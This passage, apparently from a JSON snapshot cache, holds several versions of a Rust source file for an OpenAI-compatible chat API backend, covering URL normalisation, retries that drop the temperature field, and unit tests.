assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(\n &mut body,\n \"temperature\"\n ));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"{}\",\n r#\"OpenAI API error (400): {\"error\":\"unsupported parameter: temperature\"}\"#\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"{}\", r#\"OpenAI API error (400): {\"error\":\"invalid model\"}\"#);\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "05f5d0f1db914ebd02a14f93c17d2320737ceae1": {"t": 1785760758.4546406, "n": 8480, "h": "6a93f9e3da23342e", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\n \"response_format\".to_string(),\n json!({\"type\": \"json_object\"}),\n );\n if include_temperature {\n map.insert(\"temperature\".to_string(), json!(super::DEFAULT_TEMPERATURE));\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(\n &mut body,\n \"temperature\"\n ));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"{}\",\n r#\"OpenAI API error (400): {\"error\":\"unsupported parameter: temperature\"}\"#\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"{}\", r#\"OpenAI API error (400): {\"error\":\"invalid model\"}\"#);\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "1ded0af3bb97c6ee6a01e404d3cc247cdfe81a9a": {"t": 1785760759.6404235, "n": 8436, "h": "6f450f8a1c307c85", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\"response_format\".to_string(), json!({\"type\": \"json_object\"}));\n if include_temperature {\n map.insert(\n \"temperature\".to_string(),\n json!(super::DEFAULT_TEMPERATURE),\n );\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(&mut body, \"temperature\"));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"OpenAI API error (400): {\\\"error\\\":\\\"unsupported parameter: temperature\\\"}\"\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"OpenAI API error (400): {\\\"error\\\":\\\"invalid model\\\"}\");\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "6e9306549cd341f96b8549db00fee4de5d4e654e": {"t": 1785760762.0477161, "n": 8355, "h": "146e0b7c60576501", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.starts_with(\"kimi\")\n || model.starts_with(\"moonshot\")\n || model.contains(\"/kimi\")\n || model.contains(\"/moonshot\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\"response_format\".to_string(), json!({\"type\": \"json_object\"}));\n if include_temperature {\n map.insert(\n \"temperature\".to_string(),\n json!(super::DEFAULT_TEMPERATURE),\n );\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(&mut body, \"temperature\"));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"OpenAI API error (400): {\\\"error\\\":\\\"unsupported parameter: temperature\\\"}\"\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"OpenAI API error (400): {\\\"error\\\":\\\"invalid model\\\"}\");\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "fabc522d16272993066c5e2dd1d37106ccbf12d2": {"t": 1785760763.444853, "n": 3378, "h": "f0c2c0dcb1f96f5b", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n}\n"}, "324ed11f88b0752b0424d024b878bea558fba95b": {"t": 1785760764.6499832, "n": 3634, "h": "87bf9b84816b7792", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\n \"OpenAI API error ({}): {}\",\n status,\n text.chars().take(500).collect::<String>()\n ));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\n \"{}\",\n last_err.unwrap_or_else(|| \"OpenAI request failed\".into())\n )\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n}\n"}, "97dfb1a2cab4fd4f35b55bb319902b8bafddb7a0": {"t": 1785760766.0334296, "n": 3522, "h": "25b182c3c340042c", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\n \"OpenAI API error ({}): {}\",\n status,\n text.chars().take(500).collect::<String>()\n ));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\n \"{}\",\n last_err.unwrap_or_else(|| \"OpenAI request failed\".into())\n )\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": 